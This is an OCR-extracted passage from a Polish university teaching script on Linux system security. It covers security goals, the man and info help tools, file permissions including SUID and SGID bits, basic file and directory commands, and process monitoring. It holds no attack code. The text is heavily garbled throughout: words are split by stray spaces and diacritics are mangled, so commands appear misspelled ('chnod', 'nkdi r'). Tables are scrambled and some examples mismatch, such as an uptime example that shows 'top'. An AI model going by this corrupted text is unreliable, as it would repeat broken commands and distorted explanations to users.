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1. Wstep

Ninigjszy skrypt powstat jako material pomocniczy dla studentdéw do zaj¢¢ z przedmiotu ,, Bezpieczenstwo
systemoéw i ustug informatycznych” prowadzonych na specjalnosci Informatyka na Wydziale Elektroniki Politechniki
Wroctawskigj” . Zawiera on zestaw informacji, przyktaddw i ¢wiczen odnoszacych si¢ do systemu Linux. Autor
wykorzystywat system Ubuntu 14.04 i 16.04 LTS oraz Kali Linux 4.6.0. Zrddta z ktorych korzystano podaje rozdziat
17, jednak za podstawowe podreczniki dotyczace omawianych zagadnien nalezy uzna¢ ksigzki:

Surmacz Tomasz, Bezpieczenstwo Systemdw i Ustug I nformatycznych, Wroctaw 2015
http://dream.ict.pwr.wroc.pl/ssn/bus-www. pdf

Weidman Georgia, Bezpieczny system w praktyce, Helion 2015.

William Stallings, Lawrie Brown, Bezpieczenstwo systemow informatycznych, zasady i praktyka, Helion 2019.
Andrew S. Tannenbaum, Systemy operacyjne wydanie |11, Helion 2010.

Brian Ward, Jak dziata Linux, Helion 2015.

Systemy komputerowe wykorzystywane sa do réznych, nieraz bardzo waznych cel6w. Ich awarialub
ni eprawidtowe dziatanie moze powodowa¢ zagrozenie dlaludzi i znaczne straty materialne. Aby systemy te mogty
petni¢ swe funkcje nalezy spetni¢ nastepujace warunki (zgodnie z [1]):

Cel Zagrozenie

Zapewnienie dyspozycyjnosci systemu Awaria sprzetu, oprogramowania, blokada ustug
Zapewnienie poufnosci danych Wyciek lub kradziez danych

Integralnos¢ danych Uszkodzenie danych

Zapewnienie kontroli nad systemem Przejecie kontroli nad systemem przez intruza

11 Zapewnienie dyspozycyjnosci (ang. availability)

Cel: System ma dostarcza¢ ustug ciagle lub wtedy gdy to jest potrzebne.
Zagrozenie: Awarie sprzetu, btedy obstugi, btedy w oprogramowaniu, ataki z zewnatrz, przeciazenie systemu.
Srodki: Zwielokrotnienie zasobow, klastry wysokiej dostepnosci, skanery integralnosci, programy

antywirusowe, wirtualizacja.

12 Zapewnienie poufnosé danych (ang. data confidentiality)

Cel: Wiasciciel danych powinien okresli¢ ktore dane i komu mozna udostepnié
Zagrozeni a Wtamania do systemu, oprogramowanie szpiegujace.
Srodki: Uwierzytel nianie uzytkownikdw, skanery antywirusowe

13 Zapewnienieintegralnosci danych (ang. data integrity)

Cd: Dane musza pozostawa¢ spdjne, nieuprawnieni uzytkownicy nie mogs zmienia¢ danych.
Zagrozenia Uszkodzenia nosnikéw, btedy obstugi, wlamania do systemu, ztosliwe oprogramowanie.
Srodki: Weryfikatory integralnosci, wykonywanie kopii zapasowych danych, redundancja danych.

14 Zapewnienie kontroli nad systemem

Cdl: Tylko uprawnieni uzytkownicy kontrolujg system
Zagrozenie: Przejecie kontroli nad systemem przez intruza.
Srodki: Uwierzytel nianie uzytkownikéw, skanery antywirusowe

Nieco inaczej definiuje sie bezpieczenstwo w [2]. Podano tam trzy zasadnicze cele bezpieczenstwa systeméw. Sg to:

Poufnosé (ang. confidentality)

Poufnos¢ danych ~ — Prywatne lub poufne dane majg byc dostepne tylko dla uprawnionych

Prywatnos¢ — Kontrola nad tym ktdre informacje moga by¢ gromadzone i komu ujawnione

Integralnosé (ang. integrity)

Nienaruszalnos¢ danych — Zapewnia ze informacje i programy podlegajg zmianom w kontrolowany sposéb

Integralnos¢ systemu - Zapewnienie ze system wykonuje swoje funkcje bez zaktdcen niezaleznie od
umyslnych lub niezamirzonych manipulacji.

Dostepnosé (ang. availability) - Zapewnia ze system dziata wtedy gdy jest to od niego wymagane.
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15 Srodki zapewniaj ace bezpieczenstwo

Narzedzia monitorowania systemu

Niejednokrotnie nie jest fatwo stwierdzi¢ ze system przestat petni¢ swe funkcje, atakze z jakiego to nastapito powodu.
Dlatego nalezy posiada¢ umigjetnos¢ odczytywania plikdw rejestrowych systemu. Przydatna jest takze znajomosé
narzgdzi monitorujacych dziatanie i obcigzenie systemu.

Tworzenie bezpiecznego oprogramowania

Wiekszos¢ problemdw z bezpieczenstwem zwigzana jest z biedami w oprogramowaniu. Stad nalezy wiedzie¢ jakie
btedy szczegdlnie wptywaja ha bezpieczenstwo i jakich zasad nalezy przestrzega¢ aby tworzy¢ bezpieczne
oprogramowanie. W pracy przedstawione zostaty typowe metody uzyskiwania kontroli nad systemem i rodki temu
zapobiegajace.

Stosowani e wiasciwych metod uwierzytelniania

Bezpieczny system powinien niezawodnie weryfikowaé jego potencjalnych uzytkownikéw. W szczegdlnoséci dotyczy
to uzytkownikéw zdalnych. Tylko uprawnieni uzytkownicy moga uzyska¢ dostep do systemu.

Stosowanie programéw antywirusowych i skaneréw integral nosci

Znaczna cze$é problemdw powodowana jest przez ziosliwe oprogramowanie. Jego wykrywanie mozliwe jest za
pomoca programéw antywirusowych i skaneréw integralnosci.

Stosowani e szyfrowania danych

Jednym ze srodkéw zapewnienia poufhosci danych jest ich szyfrowanie. W szczegdlnosci dotyczy to danych
przesytanych przez sie¢. Szczegdlnie szeroko wykorzystywane sg metody szyfrowania asymetrycznego, z
wykorzystaniem klucza prywatnego i publicznego.

Odpowiednia konfiguracja ustug sieciowych

Obecnie komputery pracujg przewaznie w konfiguracjach sieciowych i umozliwiajg zdalny dostep do ustug. Stwarzato
ogromne mozliwosci alei stwarzaliczne zagrozenia. Ustugi sieciowe nalezy konfigurowa¢ w taki sposdb by nie
stwarza¢ niepotrzebnych furtek do systemu. Jedng z metod jest stosowanie zapor sieciowych (ang. firewalls).

Redundancja systeméw i danych

Jednym z najwaznigjszych srodkéw zabezpieczenia systemow jest redundancja réznych ich elementéw. Zwiel okratnia¢
mozna serwery (beda to klastry), podzespoty (np. dyski) atakze dane tworzac kopie zapasowe.
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2. Podstawy postugiwania si¢ systemem Linux

21 Wstep

Ponizej podane zostaty podstawowe informacje umozliwiajace postugiwanie sie systemem w zakresie obstugi systemi i
uruchamiana prostych programow napisanych w jezyku C.

22 Uzyskiwanie pomocy

Polecenie Opis

man pol eceni e/ f unkcj a Uzyskanie informacji o poleceniu / funkcji — narzedzie man

i nfo pol eceni e/ funkcja |Uzyskanieinformacji o poleceniu/ funkcji — narzedziei nf o

whati s stowo_ Kkl uczowe Uzyskanie krétkiej informacji o temacie danym w postaci stowa kluczowego
apropos siowo_kl uczowe | Przeszukanie dokumentacji w poszukiwaniu stowa kluczowego

Katalog W katalogu tym zawarta jest dokumentacja dla réznych programow, pakietow i
[ usr/share/ doc modutéw

Internet Witryna http://kernel .org/doc/manpages

Witryny dystrybucji Linuksa
Debiana: http://www.debian.org/
Ubuntu : http://ubuntu.pl/

221 Narzedzieman
Standardowym systemem przegladania dokumentacji jest narzedzie man. Uruchamiamy je wpisujac w terminalu
polecenie:

$man temat

gdziet emat jest tekstem okreslajgcym temat, na ktéry chcemy uzyska¢ informacje. Przyktadowo gdy chcemy
uzyska¢ informacje natemat funkcji f or k piszemy:

$man fork

Dokumentacja pogrupowana jest tradycyjnie w dziatach, ktore podane s3 w ponizszym zestawieniu:

Dzial | Zawartosé

Polecenia

\Wywotania systemowe
Funkcje biblioteczne

Pliki specjalne — katal og /dev
Formaty plikéw

Gry

Definicje, informacje rézne
Administrowanie systemem
Wywotaniajadra

OO N[O (WIN|F

Wiedza o dziatach bywa przydatna gdyz nieraz jedna nazwa wystepuje w kilku dziatach. Wtedy man wywotujemy
podajac jako drugi parametr numer sekcji.

$man nuner_sekcji temat

Na przyktad:
$man 3 open

Przydatnym poleceniem jest opcja—k

$man -k siowo_kl uczowe

lub

$apropos siowo_kl uczowe

Pozwala przeszuka¢ manual i znalez¢ tematy w ktdrych wystepuje dane stowo kluczowe.Np.:
$man -k open
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Do poruszania si¢ w manualu stosujemy klawisze funkcyjne:

Y Liniado goéry

R Liniaw dot

PgUp Strona do gory

PgDn Stronaw dot

/ temat Przeszukiwanie do przodu

? temat Przeszukiwanie do tytu

Strona podrgcznika sktada si¢ z kilku sekcji: nazwa (NAME) , sktadnia (SYNOPSIS) , konfiguracja
(CONFIGURATION), opis (DESCRIPTION), opcje (OPTIONS), kod zakonczenia (EXIT STATUS), wartos¢
zwracana (RETURN VALUE), btedy (ERRORS), srodowisko (ENVIRONMENT), pliki (FILES), wersie
(VERSIONS), zgodne z (CONFORMING TO), uwagi, (NOTES), btedy (BUGS), przykiad (EXAMPLE), autorzy
(AUTHORYS), zobacz takze (SEE ALSO).

Dokumentacja man dostepna jest w postaci HTML pod adresem: htt p: // www. ker nel . or g/ doc/ nan- pages

Narzg¢dzia do przegladania manuala:

t kmman — przegladanie w narzedziu Tkl
hman — przegladanie w trybie HTML

2.2.2 Narzedzie apropos
Narzedzie apropos wykonuje przeszukanie stron podrecznika man w poszukiwaniu podanego jako parametr stowa
kluczowego.

$apropos srtowo_kl uczowe czyli man -k stowo_kl uczowe

2.2.3 Narzedziewhatis
Narzedziewhat i s wykonuje przeszukanie stron podrgcznika man w poszukiwaniu podanego jako parametr stowa
kluczowego. Nastepnie wyswietlana jest krétka informacja o danym poleceniu / funkgji.

$whati s stowo_kl uczowe

Przykiad:

$whati s open

open (1)- start a programon a new virtual terninal
open (2)- open and possibly create a file or device
open (3 posix)- open a file

Uzyskane strony podrecznika mozna nastepnie wyswietli¢ za pomoca narzedzia man.

224 Narzedzieinfo
Dodatkowym systemem przegladania dokumentacji jest narzedzie i nf 0. Uruchamiamy je wpisujac w terminalu
polecenie:

$info temat
Narzedziei nf o jest tatwigjsze w uzyciu i zwykle zawiera bardzigj aktualna informacje.

225 Klucz--help
Wiekszos¢ polecen GNU moze by¢ uruchomionaz opcja - -  hel p. Uzycie tg opcji pozwala nawyswietlenie
informacji o danym poleceniu.

Dokumentacja systemu Linux dostepnajest w Internecie. Moznaja oglada¢c za pomoca wchodzacej w sktad systemu
przegladarki Firefox. Waznigjsze zrédta podane s3 ponizeyj:

Dokumentacja man w postaci HTML: http://www.kernel.org/doc/man-pages

Materiaty Linux Documentation Project: http://tldp.org

Machtelt Garrels, Introduction to Linux -  http://tldp.org/L DP/intro-linux/intro-linux.pdf
Dokumentacja na temat dystrybucji UBUNTU: - http://help.ubuntu.com

Biran Ward, Jak dziata Linux, Podrecznik administratora
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23 Operowanie plikami i katalogami

231 Plikii katalogi

W systemie Linux prawie wszystkie zasoby sa plikami. Dane i urzadzenia sg reprezentowane przez abstrakcje plikow.
Mechanizm plikow pozwala na jednolity dostgp do zasobdw tak lokalnych jak i zdalnych za pomoca polecen i
programow ustugowych wydawanych z okienka terminala. Plik jest obiektem abstrakcyjnym, z ktérego mozna czytac i
do ktérego mozna pisa¢. Oprocz zwyktych plikow i katalogébw w systemie plikéw widoczne sg pliki specjane.
Zaliczamy do nich tacza symboliczne, kolejki FIFO, bloki pamigci, urzadzeniablokowei znakowe.

2.3.2 Atrybuty pliku

Oprécz zawartosci plik posiada szereg atrybutéw pokazanych w ponizszej tabeli.

Typ pliku Plik regularny, katalog, gniazdko, kolejka FIFO, urzadzenie blokowe, urzadzenie
znakowe, link

Prawa dostepu Prawo odczytu, zapisu, wykonania okreslone dlawtasciciela pliku, grupy do ktérej
on nalezy i innych uzytkownikéw systemu

Wielkosé Wielkosé pliku w bajtach

Wiasciciel pliku UID wiasciciela pliku

Grupado ktorej nalezy
wiasciciel

GID grupy do ktorej nalezy wiasciciel pliku

Czas ostatniej modyfikacji

Czas kiedy nastapit zapis do pliku

Czas ostatniego dostepu

Czas kiedy nastapit odczyt lub zapis do pliku

Czas ostatniej modyfikacji
statusu

Kiedy zmieniano atrybuty takie jak prawa dostepu, wiasciciel, itp

Liczba dowigzan

Pod iloma nazwami (ang. links) wystepuje dany plik

Identyfikator urzadzenia

Identyfikator urzadzenia naktorym plik jest pamigtany

Tab. 2-1 Atrybuty pliku

Atrybuty pliku moga by¢ odczytane za pomoca polecen | s i st at

$stat plik.txt
Plik: ,plik.txt”
rozmar: 132098 bl okéw. 264 bl oki 1/O 4096 zwykty plik
Urzadzeni e: fdOOh/ 64768d i nody: 202872461  dow gzan: 1
Dostep: (0644/-rwr--r--) Ud: ( o/ root) Gd: ( o/ root)
Kont ekst: unconfined_u: object _r:adm n_hone_t:s0
Dost ep: 2016- 05-12 09: 29: 38. 655878512 +0200
Modyfi kacj a: 2016-05-12 09: 29: 31. 295951064 +0200
Zm ana: 2016- 05-12 09: 29: 31. 295951064 +0200
Ut wor zeni e: -

Przyktad 2-1 Testowanie statusu pliku — polecenie st at

Prawa dostepu i typ pliku zapisane s3 w maskach bitowych zapisanych w i-wezle odnoszacym sie do pliku. Znaczenie
bitéw uzyska¢ mozna poleceniem: man 2 st at.

$man 2 stat

S | FMIr 0170000 maska bitowa okreslajaca typ pliku
S IFSCCK 0140000 gni azdko

S I FLNK 0120000 i nk synboliczny

S | FREG 0100000 pl ik regul arny

S | FBLK 0060000 urzadzeni e bl okowe

S IFDIR 0040000 kat al og

S | FCHR 0020000 urzadzeni e znakowe

S IFIFO 0010000 plik FIFO

S ISU D 0004000 bit set-user-I1D
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S 1SAd D 0002000 bit set-group-1D bit

S I SVTX 0001000 bit klejacy (ang. Sticky bit)

S | RWKU 00700 mask for file owner permni ssions
S | RUSR 00400 owner has read perm ssion

S I WSR 00200 owner has wite perm ssion

S I XUSR 00100 owner has execute perm ssion

S | RWKG 00070 mask for group perm ssions

S | RGRP 00040 group has read perm ssion

S I WEGRP 00020 group has wite perm ssion

S | XGRP 00010 group has execute perm ssion

S | RWKO 00007 mask for perm ssions for others (not in group)
S I ROTH 00004 ot hers have read perm ssion

S I WOTH 00002 others have wite perm ssion

S | XOTH 00001 ot hers have execute perm ssion

Przyktad 2-2 uzyskanie flag dotyczacych praw dostepu do plikéw

2.3.3 Polecenia dotyczace katalogow
Pliki zorganizowane s3 w katalogi. Katalog ma posta¢ drzewa z wierzchotkiem oznaczonym znakiem /. Drzewo plikéw
obejrze¢ mozna za pomoca poleceniatree.

tree —L pozi om kat al og
Przyktad

$tree =L 1 Jetc
/

—— bin
—— boot
—— dev
— etc
— hone
—1lib
— nmedi a
— mmt
— opt
— proc
— r oot
— run
—— shin
— Sys
— usr
— var

Potozenie okreslonego pliku w drzewie katalogbw okresla sie¢ za pomoca $ciezki. Rozréznia sie sciezki absolutne i
relatywne. Sciezka absolutna podaje droge jaka trzeba przejs¢ od wierzchotka drzewa do danego pliku. Przyktad
sciezki absolutngj to / hone/ j uka/ prog/ hel | 0. c. Sciezka absolutna zaczyna sic od znaku /. Sciezka relatywna
zaczyna si¢ od innego znaku niz /. Okresla ona potozenie pliku wzgledem katalogu biezacego. Po zarejestrowaniu Si¢
uzytkownika w systemie katalogiem biezacym jest jego katalog domowy. Moze on by¢ zmieniony na inny za pomoca
poleceniacwd.

2.3.3.1 Uzyskiwanie nazwy katalogu biezacego

Nazwe katalogu biezacego uzyskuje si¢ piszac polecenie pwd. Na przyktad:
$pwd
/ hone/ j uka
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2.3.3.2 Listowanie zawartosci katalogu

Zawartos¢ katalogu uzyskuje si¢ wydajac polecenie | s. Sktadnia polecenia jest nastepujaca:
Is [-1] [nazwa]

Gdzie:
I - Listowaniew ,dtugim” formacie, wyswietlane sg atrybuty pliku
nazwa - Nazwa katalogu lub pliku

Gdy nazwa okresla pewien katalog to wyswietlona bedzie jego zawartos¢. Gdy nazwa katalogu zostanie pominicta
wyswietlana jest zawartos¢ katalogu biezacego. System umozliwia dostep do plikéw w trybie odczytu, zapisu lub
wykonania. Prawa te moga by¢ zdefiniowane dla wiasciciela pliku, grupy do ktorel on nalezy i wszystkich innych
uzytkownikow.

u - Wiascicidlapliku (ang. user)
g - Grupy (ang. group)
0 - Innych uzytkownikéw (ang. other)

Reprezentowane s3 jako trzy grupy tréjek reprezentujacych dopuszczalne prawa dostepu dla wiasciciela pliku, grupy i

innych.

Specj al ne Wasciciel Gupa I nni

Set ui d Read Read Read
Sedgi d Wite Wite Wite
Sticky Execut e Execut e Execut e

Tabela 2-1 Prawa dostepu do plikéw w systemie Linux

Symboliczne oznaczenia praw dostgpu do pliku dane s3 ponizey:

Pierwszy znak r -  Prawo odczytu (ang. read)

Drugi znak W - Prawo zapisu (ang. write)

Trzeci znak X - Prawowykonania (ang. execute)
S Ustawiony bit SUID lub SGID
S Ustawiony bit SUID lub SGID (bez prawa wykonania)
t Ustawiony bit Sticky

Listowane s3 prawa dostgpu, liczba dowiazan, wiasciciel pliku, grupa, wielkos¢, data utworzenia oraz nazwa.
Wyswietlanie katalogu biezacego ilustruje ponizszy diagram.

$ls -1
-rwWwXrwxr-x 1 root root 7322 Nov 14 2003 fork3
/-rw-rw-rw- 1 root root 886 Mar 18 1994 fork3.c

did T imi, windod i \
wiasciciel inni\ wiasciciel widkosé nazwa
typ grupa

grupa liczba dowigzan data utworzenia

Przyktad 2-3 Listowanie zawartosci katalogu biezacego.

Typy plikéw:

oznaczenie | Opis

- Regularny

d Katalog (directory)

b Plik specjalny — urzadzenie blokowe
c Plik specjalny — urzadzenie znakowe
p Plik specjalny —tacze lub plik FIFO
I Plik specjalny — link symboliczny

S Plik specjalny — gniazdko

Tabela 2-2 Typy plikbw w systemie Linux

Prawa dostepu moga by¢ takze reprezentowane w postaci 6semkowsy:
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Stad:

Osemkowo Opis Literowo

1 tyl ko wykonani e --X 0+0+1
2 tyl ko zapis - W 0+2+0
3 zapi s i wykonani e - WX 0+2+1
4 tyl ko odczyt r-- 4+0+0
5 odczyt i wykonani e r-x 4+0+1
6 odczyt i zapis rw 4+2+0
7 zapi s, odczyt i wykonanie |rwx 4+2+1

Tabela 2-3 Prawa dostepu zapisane 6semkowo i literowo
Oprécz pokazanych wyzej praw dostepu istnigjg réwniez trzy uprawnienia specjalne:

I'slglt] [ riw x| riwx|riw x|
s - bit SUD (oktal nie 04)

g - bit SAD (oktalnie 02)
t - bit sticky (oktalnie 01)

Ustawienia bitow s i g ma znaczenie gdy pewien uzytkownik (powiedzmy st udent ) wykonuje program ktory jest
wilasnoscig innego uzytkownika (powiedzmy r oot ). Identyfikater tego kto wykonuje program nazywasie
rzeczywistym identyfikatorem uzytkownika RUl D (ang. Real User |denti fi er). Powstaje problemw jaki
sposob stosowaé prawa dostepu do innych plikéw, czy bra¢ pod uwage to kto wykonuje program (st udent ) czy tez
kto jest wiascielem pliku (r oot ). O tym kt6rg z opcji zastosowac¢ decyduja wiasnie bity s i g.

Bits

O tym jakie prawa dostepu zastosowa¢ do programu decyduje efektywny identyfikator uzytkownika EUID (ang.

Ef fective User ldentifier). Gdybits bedzie ustawiony, efektywny identyfikator uzytkownika EUID
bedzie taki jak wiasciciela pliku. Znaczy to ze prawa dostepu beda takie jak wtasciciela pliku (root). Gdy bit s bedzie
wyzerowany, efektywny identyfikator uzytkownika EUID bedzie taki jak UID uzytkownika. Znaczy to ze prawa
dostepu beda takie jak tego kto wiasnie wykonuje program (student). Ustawienie bitu s nie daje efektu gdy plik nie ma
prawawykonania. W takim przypadku poleceniel s —I| wyswietlagojako S.

Istnienie bitu s powoduje jeden z najwiekszych problemdéw bezpieczenstwa systeméw UNIX.

chnod u+s euid
root @ali:~/1ab/BUS/ prog/pliki# |Is -I
-rwsr-xr-x 1 root root 5156 Sep 19 08:54 euid

Przyktad 2-4 Ustawienie bitu s

Bitg

Gdy bit g bedzie ustawiony, efektywny identyfikator grupy EGID bedzie taki jak grupy wiasciela pliku. Znaczy to ze
prawa dostgpu beda takie jak dla grupy wiasciciela pliku (r oot ). Gdy bit g bedzie wyzerowany, efektywny
identyfikator grupy EGID bedzietaki jak grupy uzytkownika. Znaczy to ze prawa dostepu beda takie jak grupy do
ktorel nalezy ten kto wiasnie wykonuje program (grupa do ktdrej nalezy student). Ustawienie bitu g nie daje efektu
gdy plik nie ma prawawykonania. W takim przypadku poleceniel s —I wyswietlagojako S.

Bit uzywany takze do obligatoryjnego blokowania dostepu do pliku (ang. mandatory locking)

Bit t

Ustawienie bitu t powoduje, ze program po wykonaniu nie jest usuwany z pamieci.

$ls -1
-rwsrwsr-x 1 student studenci 8769 wz 27 11:23 fstat

Przyktad 2-5 Plik z ustawionym bitami s i g

W notacji 6semkowej prawa dostepu bytyby 06771.
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2.3.3.3 Listowanie drzewa katal ogéw

tree —L pozi om kat al og

Przyktad
root@ali:~# tree -L 2
— a. out
—— Deskt op
L— mount-shared-fol ders.sh -> /usr/| ocal / shi n/ mount - shar ed-f ol ders
—— Docunent s
—— Downl oads
— 9pg
F— j uka_kl ucz. txt

2.3.3.4 Zmianakatalogu biezacego

Katalog biezacy zmienia si¢ na inny za pomoca polecenia cd. Sktadnia polecenia jest nastepujaca: cd
nowy_ kat al og .Gdy jako parametr podamy dwie kropki . . to przejdziemy do katalogu potozonego o jeden poziom
wyzej. Zmiang katalogu biezacego ilustruje przyktad.

$pwd

/ hone/ j uka

$cd prog

$pwd / hone/j uka/ prog

Przyktad 2-6 Zmiana katalogu biezacego
2.3.3.5 Tworzenie nowego katalogu

Nowy katalog tworzy si¢ poleceniem nkdi r . Polecenie to ma posta¢: nmkdi r nazwa_kat al ogu. Tworzenie
nowego katalogu ilustruje przyktad ponize.

$ls

prog
$nkdir src
$ls

prog src

Przyktad 2-7 Tworzenie nowego katalogu
2.3.3.6 Kasowanie katalogu

Katalog kasuje sie poleceniemr ndi r . Sktadnia poleceniar ndi r jest nastepujaca: r ndi r  nazwa_kat al ogu.
Aby mozliwe byto usuniecie katalogu musi on by¢ pusty. Kasowanie katalogu ilustruje przyktad ponizej.

$ls

prog src
$rndir src
$l s

prog

Przyktad 2-8 Kasowanie katalogu
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2.3.4 Polecenia dotyczace plikéw

2.3.4.1 Zmianapraw dostepu do pliku

Zmiana praw dostepu do pliku moze by¢ wykonana za pomoca polecen:

chnod Zmiana praw dostepu

chgrp Zmiana grupy

chown Zmianawtasciela pliku (tylko uzytkownik root)
unmask Zmiana maski pliku

| sattr Listowawanie atrybutow pliku

chattr Zmiana atrybutéw pliku

Tab. 2-2 Polecenia dotyczace atrybutdw pliku
Polecenie chnod
chnod [opcje] uprawnienia plik

Uprawnienia mozna nada¢ lub cofna¢ dla odpowiednigj klasy uzytkownikow:
Klasy uzytkownikow:

u | uzytkownik | (ang. user)

g |grupa (ang. group)
o |inni (‘ang. others)
a | wszyscy (ang. all)

Zmiany uprawnien zapisuje Sie¢ hastepujaco:
kl asa_uzyt kowni kéw akcj a uprawni eni a
Akcje moga by¢ nastepujace:

+ dodanie uprawnien z utrzymaniem pozostatych,
— odebranie uprawnien z utrzymaniem pozostatych,
= ustawienie uprawnien natakie jak bgda podane

Uprawnienia moga by¢ podane literowo [ub ésemkowo.

Zapis | Odczyt | Wykonanie | Ustawienie SUID | Ustawienie SGID | Ustawienie sticky bit

Osemkowo |4 2 1 4 2 1

Literowo r w X S S t

Tabela 2-4 Reprezentacja uprawnien w poleceniu chnod

chnod u+x plik Dodanie praw wykonania dlawtasciciela pliku

chrmod u+r, g+x plik Dodanie prawa odczytu wiascielowi i dodanie praw wykonania grupie
chmod o-x plik Odebranie praw wykonania dla innych uzytkownikow

chmod go=rx plik Ustawienie praw odczytu i wykonania dla grupy i innych

chnmod 777 plik Ustawienie praw odczytu, zapisu i wykonania dlawtasciela, grupy i innych
chmod 4711 plik Ustawienie bitu SUID dlainnych, praw rwx dlawtaiciciela, praw x dla grupy

Tabela 2-5 Przyktady uzycia poleceniachnod

2.3.4.2 Zmianawlascicielapliku

Zmianawiasciciela pliku moze by¢ wykonana za pomocg poleceniachown ale wylacznie przez administratora.

chown [opcje] wtasciciel plik
Przyktad:
#chown —R student /hone/student/wi rt ual

Zmiana wiasciciela podkatalogu wirtual i wszystkich plikéw ponizej na student.

2.3.4.3 Zmianagrupy do ktérej nalezy plik

Zmiana grupy wiasciela pliku moze by¢ wykonana za pomoca poleceniachgr p
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chgrp [opcje] grupa plik

Przykiad:

#chgrp —R gstudent /home/ student/wi rtual

Zmiana grupy podkataloguwi r t ual i wszystkich plikow ponizel nagst udent .

2.3.4.4 Kopiowanie pliku
Pliki kopiuje si¢ za pomoca polecenia cp. Sktadnia poleceniacp jest nastepujaca:

cp [-IfR] plik_zrédiowy plik_docel owy
cp [-ifR] plik_zrédtowy katal og docel owy

Gdzie:

[ - Zadanie potwierdzenia gdy plik docelowy moze byé nadpisany.
f - Bezwarunkowe skopiowanie pliku.

R - Gdy plik zrédtowy jest katalogiem to bedzie skopiowany z podkatal ogami.
Kopiowanie plikow ilustruje przyktad ponizej.

$ls

nowy.txt prog

$l s prog

$

$cp nowy. txt prog

$l's prog

nowy. t xt

Przyktad 2-9 Kopiowanie pliku nowy. t xt z katalogu biezacego do katalogu pr og

Zmiana nazwy pliku
Nazwe pliku zmienia si¢ za pomoca polecenia mv. Sktadnia poleceniamv danajest ponizej:

mv [-if] stara_nazwa nowa_nhazwa
mv [-if] nazwa_pliku katal og_docel owy

Gdzie:
[ - Zadanie potwierdzeniagdy plik docelowy moze byé nadpisany.
f - Bezwarunkowe skopiowanie pliku.

Zmiang nazwy plikéw ilustruje przyktad ponize.

$l's

stary.txt

$mv stary.txt nowy.txt
$l's

nowy. t xt

Przyktad 2-10 Zmiananazwy pliku st ary. t xt nanowy. t xt

2.3.4.5 Kasowanie pliku

Pliki kasuje sie¢ za pomoca poleceniar m Sktadnia poleceniarm jest nastepujaca:
rm[-Rfi] nazwa

Gdzie:

[ - Zadanie potwierdzenia przed usunieciem pliku.

f - Bezwarunkowe kasowanie pliku.

R - Gdy nazwajest katalogiem to kasowanie zawartosci wraz z podkatalogami.

Kasowanie nazwy pliku ilustruje przyktad ponizej.
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$ls

prog nowy.t xt
$rm nowy. t xt
$ls

prog

Przyktad 2-11 Kasowanie pliku nowy. t xt

2.3.4.6 Listowanie zawartosci pliku

Zawartos¢ pliku tekstowego listuje si¢ za pomoca polecen:
nmor e nazwa_pl i ku,
| ess nazwa_pliku,cat nazwa_pliku.
cat nazwa_pliku

Mozna do tego celu uzy¢ tez innych narzedzi jak edytor vi, edytor gedit Iub wbudowany edytor programu
M dni ght Conmander .

2.3.4.7 Szukanie pliku

Do szukania pliku stuzg polecenia:
| ocate wzorzec
find sciezka wzorzec

Przyktad
find /etc passwd

2.3.4.8 Prawadostepu biezacego procesu/sesi logowania

Czasami wystepuje potrzeba testowania lub zmiany identyfikacji biezacej segi dostgpu. Do tego celu stuza polecenia:
newgrp, su, sudo, id.
i d —listowanieidentyfikacji biezacego lub innego uzytkownika

id [OPTION] ... [USER]

root@ali:~# id

ui d=0(root) gi d=0(root) groups=0(root)

root @ali:~# id juka

ui d=1000(j uka) gi d=1000(j uka) groups=1000(j uka)

su —zmianauzytkownikaw czasie biezace segji
su [options] [usernane]
newgr p —zmianagrupy w czasie biezacel segji

newgrp [-] [group]

24 Operowanie procesami

Procesy s3 gtéwnymi aktywnymi bytami w systemie. Jezeli sie cos w systemie dzieje wykonuje to jakis proces.
Podobnie jak pliki procesy tworza drzewo ktérego korzeniem jest procesi ni t .

24.1 Wyswietlanie uruchomionych procesow

2.4.1.1 Polecenie ps
Polecenie ps pozwala uzyska¢ informacje o uruchomionych procesach. Posiada ono wiele przetacznikow.

ps - wyswietlane sa procesy o tym samym EUID co proces konsoli.
ps - ef - wyswi etlani e wszystkich procesow w ditugim formacie.
ps - ef | grep nazwa - sprawdzanie czy wsréd procesdw istnieje proces nazwa
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24.1.2 Poleceniet op

Pozwala uzyska¢ informacje o procesach sortujac je wedtug czasu zuzycia procesora. Lista odswiezanajest c0 5

sekund. Ponizej podano przyktad wywotania poleceniatop.

$t op
Pl D USER PR NI VIRT RES SHR S %CPU %UEM TI ME+ COWWAND
1831 j uka 20 0 83340 20m 16mS 37 0.5 1:07.64 gnome-system
951 root 20 0 76812 21m 10mS 10 0.5 0:41.70 Xorg
1 root 20 0 2892 1684 1224 S 0O 0.0 0:00.58 init

Przyktad 2-12 Uzycie poleceniatop

Symbol Opis

PI D I dentyfikator procesu

USER Nazwa efektywnego uzytkownika

PR Priorytet procesu

NI Wartos¢ parametru nice

VI RT Catkowita wielko$¢ pamigci wirtualnegj uzytej przez proces

RES Wielkos¢ pamieci rezydentnej (nie podlegajacel wymianie) w kb
SHR Wielkos¢ obszaru pamieci dzielong) uzytej przez proces

S Stan procesu: R — running, D — uninteruptible running, S — sleeping, T — traced or stoped, Z - zombie
UCPU Uzycie czasu procesoraw %

Y%VEM Uzycie pamigci fizycznegj w %

TI ME+ Skumulowany czas procesora zuzyty od startu procesu
COVIVAND Nazwa procesu

Tab. 2-3 Znaczenie parametrow poleceniatop

2.4.1.3 Polecenieupti nme

Polecenie wyswietla czas biezgcy, czas pracy systemu, liczbe uzytkownikéw i obcigzenie systemu w ostatnich 1, 5i 15

minutach.

$t op
18:26:47 up 1:14, 4 users, |oad average: 0.32, 0.25, 0.19

Przyktad 2-13 Uzycie poleceniat op
2.4.1.4 Poleceniepstree

Polecenie wyswietla drzewo procesdw. M ozna obserwowaé zaleznosé procesow typu macierzysty — potomny.

root @ali:~# pstree
syst emd——Modenivanager —E{ gdbus}

{ gmai n}
—Net wor kManager dhcl i ent

—dbus- daenon

{ gdbus}
{ gmai n}

—gdnB——gdm sessi on- wor ——gdm way| and- ses——gnomne- sessi on- b——gnone- se+

ghome- sh+
{ gmai n}

Przyktad 2-14 Uzycie poleceniapst r ee

2.4.1.5 Monitor systemu

W systemie Ubuntu dostepny jest monitor systemu ktéry wyswietla informacje dotyczace aktywnych procesow.

Uruchomienie nastgpuje poprzez:
Wybér opcji System / Administracja/ Monitor systemu
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Whpisanie w terminalu polecenia: gnone- syst em noni t or

Monitor systemu

Monitorowanie Edycja Widok Pomoc

System | |Procesy|| Zasoby | Systemy plikow

Srednie obcigzenia z ostatnich 1, 5i 15 minut: 0,29, 0,37, 0,25

Nazwa procesu * | Stan % CPU Nice 1D Pamiec Kanat oczekujacy

< applet.py Uspiony 1] 0 1587 6,7 MB poll_schedule_timeout
